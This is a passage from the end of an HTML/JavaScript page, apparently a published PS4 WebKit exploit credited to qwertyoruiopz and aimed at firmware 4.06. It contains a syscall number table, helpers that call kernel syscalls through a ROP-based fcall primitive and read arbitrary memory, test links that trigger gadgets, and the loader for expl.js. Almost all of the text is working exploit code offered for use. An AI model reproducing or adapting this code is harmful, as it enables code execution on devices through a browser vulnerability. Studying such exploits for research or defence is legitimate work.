289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549} | |
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) | |
{ | |
if (typeof sysc == "string") { | |
sysc = window.syscallnames[sysc]; | |
} | |
if (typeof sysc != "number") { | |
throw new Error("invalid syscall"); | |
} | |
var off = window.syscalls[sysc]; | |
if (off == undefined) | |
{ | |
throw new Error("invalid syscall"); | |
} | |
return p.fcall(libSceKernel.add32(off), rdi, rsi, rdx, rcx, r8, r9); | |
} | |
p.readstr = function(addr){ | |
var addr_ = addr.add32(0); // copy | |
var rd = p.read4(addr_); | |
var buf = ""; | |
while (rd & 0xFF) | |
{ | |
buf += String.fromCharCode(rd & 0xFF); | |
addr_.add32inplace(1); | |
rd = p.read4(addr_); | |
} | |
return buf; | |
} | |
var idx = 0; | |
window.trycall = function() { | |
print("call ret: " + p.fcall(webKitBase.add32(window.gadgets["mov rax, rdi"]), idx)); | |
idx ++; | |
} | |
window.trysyscall = function() { | |
print("getpid(): " + p.syscall("getpid")); | |
print("getuid(): " + p.syscall("getuid")); | |
print("pipe(): " + p.syscall("pipe", scratch) + "\n\tfd[0]: " + p.read4(scratch) + "\n\tfd[1]: " + p.read4(scratch.add32(4))); | |
} | |
print("<a href=javascript:window.trycall();>try call</a>"); | |
print("<a href=javascript:window.trysyscall();>try syscall</a>"); | |
} | |
</script> | |
<script src=expl.js></script> | |
<center><h1 id=clck>loading</h1>by <a href='https://twitter.com/qwertyoruiopz'>qwertyoruiopz</a><br/>this exploit supports all non-4.50 firmwares, but right now it specifically targets 4.06 due to rop gadgets being hardcoded<br/></center> | |
<pre id="console"></pre> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment